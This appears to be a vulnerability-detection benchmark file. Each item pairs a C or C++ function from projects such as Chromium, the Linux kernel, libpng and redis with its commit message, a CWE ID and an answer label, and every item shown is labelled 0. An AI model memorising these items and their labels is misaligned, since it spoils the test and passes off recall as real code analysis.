Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ScriptLoader::isScriptForEventSupported() const
{
String eventAttribute = client()->eventAttributeValue();
String forAttribute = client()->forAttributeValue();
if (!eventAttribute.isEmpty() && !forAttribute.isEmpty()) {
forAttribute = forAttribute.stripWhiteSpace();
if (!equalIgnoringCase(forAttribute, "window"))
return false;
eventAttribute = eventAttribute.stripWhiteSpace();
if (!equalIgnoringCase(eventAttribute, "onload") && !equalIgnoringCase(eventAttribute, "onload()"))
return false;
}
return true;
}
Commit Message: Apply 'x-content-type-options' check to dynamically inserted script.
BUG=348581
Review URL: https://codereview.chromium.org/185593011
git-svn-id: svn://svn.chromium.org/blink/trunk@168570 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-362
| 0
| 115,363
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: png_get_user_height_max (png_structp png_ptr)
{
return (png_ptr? png_ptr->user_height_max : 0);
}
Commit Message: third_party/libpng: update to 1.2.54
TBR=darin@chromium.org
BUG=560291
Review URL: https://codereview.chromium.org/1467263003
Cr-Commit-Position: refs/heads/master@{#362298}
CWE ID: CWE-119
| 0
| 131,309
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: v8::Handle<v8::Object> V8TestInterface::wrapSlow(PassRefPtr<TestInterface> impl, v8::Isolate* isolate)
{
v8::Handle<v8::Object> wrapper;
V8Proxy* proxy = 0;
wrapper = V8DOMWrapper::instantiateV8Object(proxy, &info, impl.get());
if (UNLIKELY(wrapper.IsEmpty()))
return wrapper;
v8::Persistent<v8::Object> wrapperHandle = v8::Persistent<v8::Object>::New(wrapper);
if (!hasDependentLifetime)
wrapperHandle.MarkIndependent();
V8DOMWrapper::setJSWrapperForActiveDOMObject(impl, wrapperHandle, isolate);
return wrapper;
}
Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=86983
Reviewed by Adam Barth.
The objective is to pass Isolate around in V8 bindings.
This patch passes Isolate to throwNotEnoughArgumentsError().
No tests. No change in behavior.
* bindings/scripts/CodeGeneratorV8.pm:
(GenerateArgumentsCountCheck):
(GenerateEventConstructorCallback):
* bindings/scripts/test/V8/V8Float64Array.cpp:
(WebCore::Float64ArrayV8Internal::fooCallback):
* bindings/scripts/test/V8/V8TestActiveDOMObject.cpp:
(WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback):
(WebCore::TestActiveDOMObjectV8Internal::postMessageCallback):
* bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp:
(WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback):
* bindings/scripts/test/V8/V8TestEventConstructor.cpp:
(WebCore::V8TestEventConstructor::constructorCallback):
* bindings/scripts/test/V8/V8TestEventTarget.cpp:
(WebCore::TestEventTargetV8Internal::itemCallback):
(WebCore::TestEventTargetV8Internal::dispatchEventCallback):
* bindings/scripts/test/V8/V8TestInterface.cpp:
(WebCore::TestInterfaceV8Internal::supplementalMethod2Callback):
(WebCore::V8TestInterface::constructorCallback):
* bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp:
(WebCore::TestMediaQueryListListenerV8Internal::methodCallback):
* bindings/scripts/test/V8/V8TestNamedConstructor.cpp:
(WebCore::V8TestNamedConstructorConstructorCallback):
* bindings/scripts/test/V8/V8TestObj.cpp:
(WebCore::TestObjV8Internal::voidMethodWithArgsCallback):
(WebCore::TestObjV8Internal::intMethodWithArgsCallback):
(WebCore::TestObjV8Internal::objMethodWithArgsCallback):
(WebCore::TestObjV8Internal::methodWithSequenceArgCallback):
(WebCore::TestObjV8Internal::methodReturningSequenceCallback):
(WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback):
(WebCore::TestObjV8Internal::serializedValueCallback):
(WebCore::TestObjV8Internal::idbKeyCallback):
(WebCore::TestObjV8Internal::optionsObjectCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback):
(WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback):
(WebCore::TestObjV8Internal::methodWithCallbackArgCallback):
(WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback):
(WebCore::TestObjV8Internal::overloadedMethod1Callback):
(WebCore::TestObjV8Internal::overloadedMethod2Callback):
(WebCore::TestObjV8Internal::overloadedMethod3Callback):
(WebCore::TestObjV8Internal::overloadedMethod4Callback):
(WebCore::TestObjV8Internal::overloadedMethod5Callback):
(WebCore::TestObjV8Internal::overloadedMethod6Callback):
(WebCore::TestObjV8Internal::overloadedMethod7Callback):
(WebCore::TestObjV8Internal::overloadedMethod11Callback):
(WebCore::TestObjV8Internal::overloadedMethod12Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback):
(WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback):
(WebCore::TestObjV8Internal::convert1Callback):
(WebCore::TestObjV8Internal::convert2Callback):
(WebCore::TestObjV8Internal::convert3Callback):
(WebCore::TestObjV8Internal::convert4Callback):
(WebCore::TestObjV8Internal::convert5Callback):
(WebCore::TestObjV8Internal::strictFunctionCallback):
(WebCore::V8TestObj::constructorCallback):
* bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp:
(WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback):
(WebCore::V8TestSerializedScriptValueInterface::constructorCallback):
* bindings/v8/ScriptController.cpp:
(WebCore::setValueAndClosePopupCallback):
* bindings/v8/V8Proxy.cpp:
(WebCore::V8Proxy::throwNotEnoughArgumentsError):
* bindings/v8/V8Proxy.h:
(V8Proxy):
* bindings/v8/custom/V8AudioContextCustom.cpp:
(WebCore::V8AudioContext::constructorCallback):
* bindings/v8/custom/V8DataViewCustom.cpp:
(WebCore::V8DataView::getInt8Callback):
(WebCore::V8DataView::getUint8Callback):
(WebCore::V8DataView::setInt8Callback):
(WebCore::V8DataView::setUint8Callback):
* bindings/v8/custom/V8DirectoryEntryCustom.cpp:
(WebCore::V8DirectoryEntry::getDirectoryCallback):
(WebCore::V8DirectoryEntry::getFileCallback):
* bindings/v8/custom/V8IntentConstructor.cpp:
(WebCore::V8Intent::constructorCallback):
* bindings/v8/custom/V8SVGLengthCustom.cpp:
(WebCore::V8SVGLength::convertToSpecifiedUnitsCallback):
* bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
(WebCore::getObjectParameter):
(WebCore::V8WebGLRenderingContext::getAttachedShadersCallback):
(WebCore::V8WebGLRenderingContext::getExtensionCallback):
(WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback):
(WebCore::V8WebGLRenderingContext::getParameterCallback):
(WebCore::V8WebGLRenderingContext::getProgramParameterCallback):
(WebCore::V8WebGLRenderingContext::getShaderParameterCallback):
(WebCore::V8WebGLRenderingContext::getUniformCallback):
(WebCore::vertexAttribAndUniformHelperf):
(WebCore::uniformHelperi):
(WebCore::uniformMatrixHelper):
* bindings/v8/custom/V8WebKitMutationObserverCustom.cpp:
(WebCore::V8WebKitMutationObserver::constructorCallback):
(WebCore::V8WebKitMutationObserver::observeCallback):
* bindings/v8/custom/V8WebSocketCustom.cpp:
(WebCore::V8WebSocket::constructorCallback):
(WebCore::V8WebSocket::sendCallback):
* bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
(WebCore::V8XMLHttpRequest::openCallback):
git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 109,500
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: RenderViewHostImpl* WebContentsImpl::GetRenderViewHostImpl() {
return static_cast<RenderViewHostImpl*>(GetRenderViewHost());
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 110,657
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SetSyscalls( int foo ) { return foo; }
Commit Message:
CWE ID: CWE-134
| 0
| 16,458
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static sds readArgFromStdin(void) {
char buf[1024];
sds arg = sdsempty();
while(1) {
int nread = read(fileno(stdin),buf,1024);
if (nread == 0) break;
else if (nread == -1) {
perror("Reading from standard input");
exit(1);
}
arg = sdscatlen(arg,buf,nread);
}
return arg;
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119
| 0
| 81,981
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool pinch_update() const { return pinch_update_; }
Commit Message: Pass ui::LatencyInfo correct with unified gesture detector on Aura.
BUG=379812
TEST=GestureRecognizerTest.LatencyPassedFromTouchEvent
Review URL: https://codereview.chromium.org/309823002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@274602 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 112,112
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TypingCommand::insertParagraphSeparator(EditingState* editingState) {
if (!canAppendNewLineFeedToSelection(endingSelection()))
return;
applyCommandToComposite(InsertParagraphSeparatorCommand::create(document()),
editingState);
if (editingState->isAborted())
return;
typingAddedToOpenCommand(InsertParagraphSeparator);
}
Commit Message: Make TypingCommand::insertText() to take SelectionInDOMTree instead of VisibleSelection
This patch makes |TypingCommand::insertText()| to take |SelectionInDOMTree|
instead of |VisibleSelection| to reduce usage of |VisibleSelection| for
improving code health.
BUG=657237
TEST=n/a
Review-Url: https://codereview.chromium.org/2733183002
Cr-Commit-Position: refs/heads/master@{#455368}
CWE ID:
| 0
| 129,215
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MigrationList MakeList(syncable::ModelType type) {
return MakeList(MakeSet(type));
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
| 0
| 105,011
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void hns_ppe_common_free_cfg(struct dsaf_device *dsaf_dev, u32 comm_index)
{
dsaf_dev->ppe_common[comm_index] = NULL;
}
Commit Message: net: hns: fix ethtool_get_strings overflow in hns driver
hns_get_sset_count() returns HNS_NET_STATS_CNT and the data space allocated
is not enough for ethtool_get_strings(), which will cause random memory
corruption.
When SLAB and DEBUG_SLAB are both enabled, memory corruptions like the
the following can be observed without this patch:
[ 43.115200] Slab corruption (Not tainted): Acpi-ParseExt start=ffff801fb0b69030, len=80
[ 43.115206] Redzone: 0x9f911029d006462/0x5f78745f31657070.
[ 43.115208] Last user: [<5f7272655f746b70>](0x5f7272655f746b70)
[ 43.115214] 010: 70 70 65 31 5f 74 78 5f 70 6b 74 00 6b 6b 6b 6b ppe1_tx_pkt.kkkk
[ 43.115217] 030: 70 70 65 31 5f 74 78 5f 70 6b 74 5f 6f 6b 00 6b ppe1_tx_pkt_ok.k
[ 43.115218] Next obj: start=ffff801fb0b69098, len=80
[ 43.115220] Redzone: 0x706d655f6f666966/0x9f911029d74e35b.
[ 43.115229] Last user: [<ffff0000084b11b0>](acpi_os_release_object+0x28/0x38)
[ 43.115231] 000: 74 79 00 6b 6b 6b 6b 6b 70 70 65 31 5f 74 78 5f ty.kkkkkppe1_tx_
[ 43.115232] 010: 70 6b 74 5f 65 72 72 5f 63 73 75 6d 5f 66 61 69 pkt_err_csum_fai
Signed-off-by: Timmy Li <lixiaoping3@huawei.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119
| 0
| 85,560
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlPrintURI(FILE *stream, xmlURIPtr uri) {
xmlChar *out;
out = xmlSaveUri(uri);
if (out != NULL) {
fprintf(stream, "%s", (char *) out);
xmlFree(out);
}
}
Commit Message: DO NOT MERGE: Use correct limit for port values
no upstream report yet, add it here when we have it
issue found & patch by nmehta@
Bug: 36555370
Change-Id: Ibf1efea554b95f514e23e939363d608021de4614
(cherry picked from commit b62884fb49fe92081e414966d9b5fe58250ae53c)
CWE ID: CWE-119
| 0
| 163,361
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: AttachedClientHosts() {}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 108,224
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ext4_journal_check_start(struct super_block *sb)
{
journal_t *journal;
might_sleep();
if (sb->s_flags & MS_RDONLY)
return -EROFS;
WARN_ON(sb->s_writers.frozen == SB_FREEZE_COMPLETE);
journal = EXT4_SB(sb)->s_journal;
/*
* Special case here: if the journal has aborted behind our
* backs (eg. EIO in the commit thread), then we still need to
* take the FS itself readonly cleanly.
*/
if (journal && is_journal_aborted(journal)) {
ext4_abort(sb, "Detected aborted journal");
return -EROFS;
}
return 0;
}
Commit Message: ext4: fix potential use after free in __ext4_journal_stop
There is a use-after-free possibility in __ext4_journal_stop() in the
case that we free the handle in the first jbd2_journal_stop() because
we're referencing handle->h_err afterwards. This was introduced in
9705acd63b125dee8b15c705216d7186daea4625 and it is wrong. Fix it by
storing the handle->h_err value beforehand and avoid referencing
potentially freed handle.
Fixes: 9705acd63b125dee8b15c705216d7186daea4625
Signed-off-by: Lukas Czerner <lczerner@redhat.com>
Reviewed-by: Andreas Dilger <adilger@dilger.ca>
Cc: stable@vger.kernel.org
CWE ID: CWE-416
| 0
| 56,163
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void nlmclnt_cancel_callback(struct rpc_task *task, void *data)
{
struct nlm_rqst *req = data;
u32 status = ntohl(req->a_res.status);
if (RPC_ASSASSINATED(task))
goto die;
if (task->tk_status < 0) {
dprintk("lockd: CANCEL call error %d, retrying.\n",
task->tk_status);
goto retry_cancel;
}
dprintk("lockd: cancel status %u (task %u)\n",
status, task->tk_pid);
switch (status) {
case NLM_LCK_GRANTED:
case NLM_LCK_DENIED_GRACE_PERIOD:
case NLM_LCK_DENIED:
/* Everything's good */
break;
case NLM_LCK_DENIED_NOLOCKS:
dprintk("lockd: CANCEL failed (server has no locks)\n");
goto retry_cancel;
default:
printk(KERN_NOTICE "lockd: weird return %d for CANCEL call\n",
status);
}
die:
return;
retry_cancel:
/* Don't ever retry more than 3 times */
if (req->a_retries++ >= NLMCLNT_MAX_RETRIES)
goto die;
nlm_rebind_host(req->a_host);
rpc_restart_call(task);
rpc_delay(task, 30 * HZ);
}
Commit Message: NLM: Don't hang forever on NLM unlock requests
If the NLM daemon is killed on the NFS server, we can currently end up
hanging forever on an 'unlock' request, instead of aborting. Basically,
if the rpcbind request fails, or the server keeps returning garbage, we
really want to quit instead of retrying.
Tested-by: Vasily Averin <vvs@sw.ru>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
Cc: stable@kernel.org
CWE ID: CWE-399
| 0
| 34,864
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PluginObserver::PluginObserver(TabContentsWrapper* tab_contents)
: TabContentsObserver(tab_contents->tab_contents()),
tab_contents_(tab_contents) {
}
Commit Message: Infobar Windows Media Player plug-in by default.
BUG=51464
Review URL: http://codereview.chromium.org/7080048
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@87500 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 97,968
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t Camera2Client::connect(const sp<ICameraClient>& client) {
ATRACE_CALL();
ALOGV("%s: E", __FUNCTION__);
Mutex::Autolock icl(mBinderSerializationLock);
if (mClientPid != 0 && getCallingPid() != mClientPid) {
ALOGE("%s: Camera %d: Connection attempt from pid %d; "
"current locked to pid %d", __FUNCTION__,
mCameraId, getCallingPid(), mClientPid);
return BAD_VALUE;
}
mClientPid = getCallingPid();
mRemoteCallback = client;
mSharedCameraCallbacks = client;
return OK;
}
Commit Message: Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
CWE ID: CWE-264
| 0
| 161,723
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool Browser::IsAttemptingToCloseBrowser() const {
return unload_controller_->is_attempting_to_close_browser();
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,780
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: inline static bool percentageLogicalHeightIsResolvable(const RenderBox* box)
{
return RenderBox::percentageLogicalHeightIsResolvableFromBlock(box->containingBlock(), box->isOutOfFlowPositioned());
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 116,576
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofputil_append_group_desc_reply(const struct ofputil_group_desc *gds,
const struct ovs_list *buckets,
struct ovs_list *replies)
{
enum ofp_version version = ofpmp_version(replies);
switch (version)
{
case OFP11_VERSION:
case OFP12_VERSION:
case OFP13_VERSION:
case OFP14_VERSION:
ofputil_append_ofp11_group_desc_reply(gds, buckets, replies, version);
break;
case OFP15_VERSION:
case OFP16_VERSION:
ofputil_append_ofp15_group_desc_reply(gds, buckets, replies, version);
break;
case OFP10_VERSION:
default:
OVS_NOT_REACHED();
}
}
Commit Message: ofp-group: Don't assert-fail decoding bad OF1.5 group mod type or command.
When decoding a group mod, the current code validates the group type and
command after the whole group mod has been decoded. The OF1.5 decoder,
however, tries to use the type and command earlier, when it might still be
invalid. This caused an assertion failure (via OVS_NOT_REACHED). This
commit fixes the problem.
ovs-vswitchd does not enable support for OpenFlow 1.5 by default.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9249
Signed-off-by: Ben Pfaff <blp@ovn.org>
Reviewed-by: Yifeng Sun <pkusunyifeng@gmail.com>
CWE ID: CWE-617
| 0
| 77,462
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool SendCreateProcessRequest(
HANDLE pipe,
const FilePath::StringType& application_name,
const CommandLine::StringType& command_line,
DWORD creation_flags) {
string16 desktop_name(UTF8ToUTF16(kDefaultDesktopName));
struct CreateProcessRequest {
DWORD size;
DWORD process_id;
BOOL use_default_token;
HANDLE token;
LPWSTR application_name;
LPWSTR command_line;
SECURITY_ATTRIBUTES process_attributes;
SECURITY_ATTRIBUTES thread_attributes;
BOOL inherit_handles;
DWORD creation_flags;
LPVOID environment;
LPWSTR current_directory;
STARTUPINFOW startup_info;
PROCESS_INFORMATION process_information;
};
size_t size = sizeof(CreateProcessRequest) + sizeof(wchar_t) *
(application_name.size() + command_line.size() + desktop_name.size() + 3);
scoped_array<char> buffer(new char[size]);
memset(buffer.get(), 0, size);
CreateProcessRequest* request =
reinterpret_cast<CreateProcessRequest*>(buffer.get());
request->size = size;
request->process_id = GetCurrentProcessId();
request->use_default_token = TRUE;
request->creation_flags = creation_flags | CREATE_SUSPENDED;
request->startup_info.cb = sizeof(request->startup_info);
size_t buffer_offset = sizeof(CreateProcessRequest);
request->application_name = reinterpret_cast<LPWSTR>(buffer_offset);
std::copy(application_name.begin(),
application_name.end(),
reinterpret_cast<wchar_t*>(buffer.get() + buffer_offset));
buffer_offset += (application_name.size() + 1) * sizeof(wchar_t);
request->command_line = reinterpret_cast<LPWSTR>(buffer_offset);
std::copy(command_line.begin(),
command_line.end(),
reinterpret_cast<wchar_t*>(buffer.get() + buffer_offset));
buffer_offset += (command_line.size() + 1) * sizeof(wchar_t);
request->startup_info.lpDesktop =
reinterpret_cast<LPWSTR>(buffer_offset);
std::copy(desktop_name.begin(),
desktop_name.end(),
reinterpret_cast<wchar_t*>(buffer.get() + buffer_offset));
DWORD bytes;
if (!WriteFile(pipe, buffer.get(), size, &bytes, NULL)) {
LOG_GETLASTERROR(ERROR) << "Failed to send CreateProcessAsUser request";
return false;
}
return true;
}
Commit Message: Validate and report peer's PID to WorkerProcessIpcDelegate so it will be able to duplicate handles to and from the worker process.
As a side effect WorkerProcessLauncher::Delegate is now responsible for retrieving the client's PID and deciding whether a launch failed due to a permanent error condition.
BUG=134694
Review URL: https://chromiumcodereview.appspot.com/11143025
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@162778 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 118,803
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int btrfs_ioctl_getflags(struct file *file, void __user *arg)
{
struct btrfs_inode *ip = BTRFS_I(file->f_path.dentry->d_inode);
unsigned int flags = btrfs_flags_to_ioctl(ip->flags);
if (copy_to_user(arg, &flags, sizeof(flags)))
return -EFAULT;
return 0;
}
Commit Message: Btrfs: fix hash overflow handling
The handling for directory crc hash overflows was fairly obscure,
split_leaf returns EOVERFLOW when we try to extend the item and that is
supposed to bubble up to userland. For a while it did so, but along the
way we added better handling of errors and forced the FS readonly if we
hit IO errors during the directory insertion.
Along the way, we started testing only for EEXIST and the EOVERFLOW case
was dropped. The end result is that we may force the FS readonly if we
catch a directory hash bucket overflow.
This fixes a few problem spots. First I add tests for EOVERFLOW in the
places where we can safely just return the error up the chain.
btrfs_rename is harder though, because it tries to insert the new
directory item only after it has already unlinked anything the rename
was going to overwrite. Rather than adding very complex logic, I added
a helper to test for the hash overflow case early while it is still safe
to bail out.
Snapshot and subvolume creation had a similar problem, so they are using
the new helper now too.
Signed-off-by: Chris Mason <chris.mason@fusionio.com>
Reported-by: Pascal Junod <pascal@junod.info>
CWE ID: CWE-310
| 0
| 34,412
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int Effect_Create(preproc_effect_t *effect,
preproc_session_t *session,
effect_handle_t *interface)
{
effect->session = session;
*interface = (effect_handle_t)&effect->itfe;
return Effect_SetState(effect, PREPROC_EFFECT_STATE_CREATED);
}
Commit Message: audio effects: fix heap overflow
Check consistency of effect command reply sizes before
copying to reply address.
Also add null pointer check on reply size.
Also remove unused parameter warning.
Bug: 21953516.
Change-Id: I4cf00c12eaed696af28f3b7613f7e36f47a160c4
(cherry picked from commit 0f714a464d2425afe00d6450535e763131b40844)
CWE ID: CWE-119
| 0
| 157,469
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: StateStore* ExtensionSystemImpl::state_store() {
return shared_->state_store();
}
Commit Message: Check prefs before allowing extension file access in the permissions API.
R=mpcomplete@chromium.org
BUG=169632
Review URL: https://chromiumcodereview.appspot.com/11884008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176853 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 115,958
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void put_free_pages(struct xen_blkif *blkif, struct page **page,
int num)
{
unsigned long flags;
int i;
spin_lock_irqsave(&blkif->free_pages_lock, flags);
for (i = 0; i < num; i++)
list_add(&page[i]->lru, &blkif->free_pages);
blkif->free_pages_num += num;
spin_unlock_irqrestore(&blkif->free_pages_lock, flags);
}
Commit Message: xen/blkback: Check device permissions before allowing OP_DISCARD
We need to make sure that the device is not RO or that
the request is not past the number of sectors we want to
issue the DISCARD operation for.
This fixes CVE-2013-2140.
Cc: stable@vger.kernel.org
Acked-by: Jan Beulich <JBeulich@suse.com>
Acked-by: Ian Campbell <Ian.Campbell@citrix.com>
[v1: Made it pr_warn instead of pr_debug]
Signed-off-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
CWE ID: CWE-20
| 0
| 31,836
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int _vop_virtio_copy(struct vop_vdev *vdev, struct mic_copy_desc *copy)
{
int ret = 0;
u32 iovcnt = copy->iovcnt;
struct iovec iov;
struct iovec __user *u_iov = copy->iov;
void __user *ubuf = NULL;
struct vop_vringh *vvr = &vdev->vvr[copy->vr_idx];
struct vringh_kiov *riov = &vvr->riov;
struct vringh_kiov *wiov = &vvr->wiov;
struct vringh *vrh = &vvr->vrh;
u16 *head = &vvr->head;
struct mic_vring *vr = &vvr->vring;
size_t len = 0, out_len;
copy->out_len = 0;
/* Fetch a new IOVEC if all previous elements have been processed */
if (riov->i == riov->used && wiov->i == wiov->used) {
ret = vringh_getdesc_kern(vrh, riov, wiov,
head, GFP_KERNEL);
/* Check if there are available descriptors */
if (ret <= 0)
return ret;
}
while (iovcnt) {
if (!len) {
/* Copy over a new iovec from user space. */
ret = copy_from_user(&iov, u_iov, sizeof(*u_iov));
if (ret) {
ret = -EINVAL;
dev_err(vop_dev(vdev), "%s %d err %d\n",
__func__, __LINE__, ret);
break;
}
len = iov.iov_len;
ubuf = iov.iov_base;
}
/* Issue all the read descriptors first */
ret = vop_vringh_copy(vdev, riov, ubuf, len,
MIC_VRINGH_READ, copy->vr_idx, &out_len);
if (ret) {
dev_err(vop_dev(vdev), "%s %d err %d\n",
__func__, __LINE__, ret);
break;
}
len -= out_len;
ubuf += out_len;
copy->out_len += out_len;
/* Issue the write descriptors next */
ret = vop_vringh_copy(vdev, wiov, ubuf, len,
!MIC_VRINGH_READ, copy->vr_idx, &out_len);
if (ret) {
dev_err(vop_dev(vdev), "%s %d err %d\n",
__func__, __LINE__, ret);
break;
}
len -= out_len;
ubuf += out_len;
copy->out_len += out_len;
if (!len) {
/* One user space iovec is now completed */
iovcnt--;
u_iov++;
}
/* Exit loop if all elements in KIOVs have been processed. */
if (riov->i == riov->used && wiov->i == wiov->used)
break;
}
/*
* Update the used ring if a descriptor was available and some data was
* copied in/out and the user asked for a used ring update.
*/
if (*head != USHRT_MAX && copy->out_len && copy->update_used) {
u32 total = 0;
/* Determine the total data consumed */
total += vop_vringh_iov_consumed(riov);
total += vop_vringh_iov_consumed(wiov);
vringh_complete_kern(vrh, *head, total);
*head = USHRT_MAX;
if (vringh_need_notify_kern(vrh) > 0)
vringh_notify(vrh);
vringh_kiov_cleanup(riov);
vringh_kiov_cleanup(wiov);
/* Update avail idx for user space */
vr->info->avail_idx = vrh->last_avail_idx;
}
return ret;
}
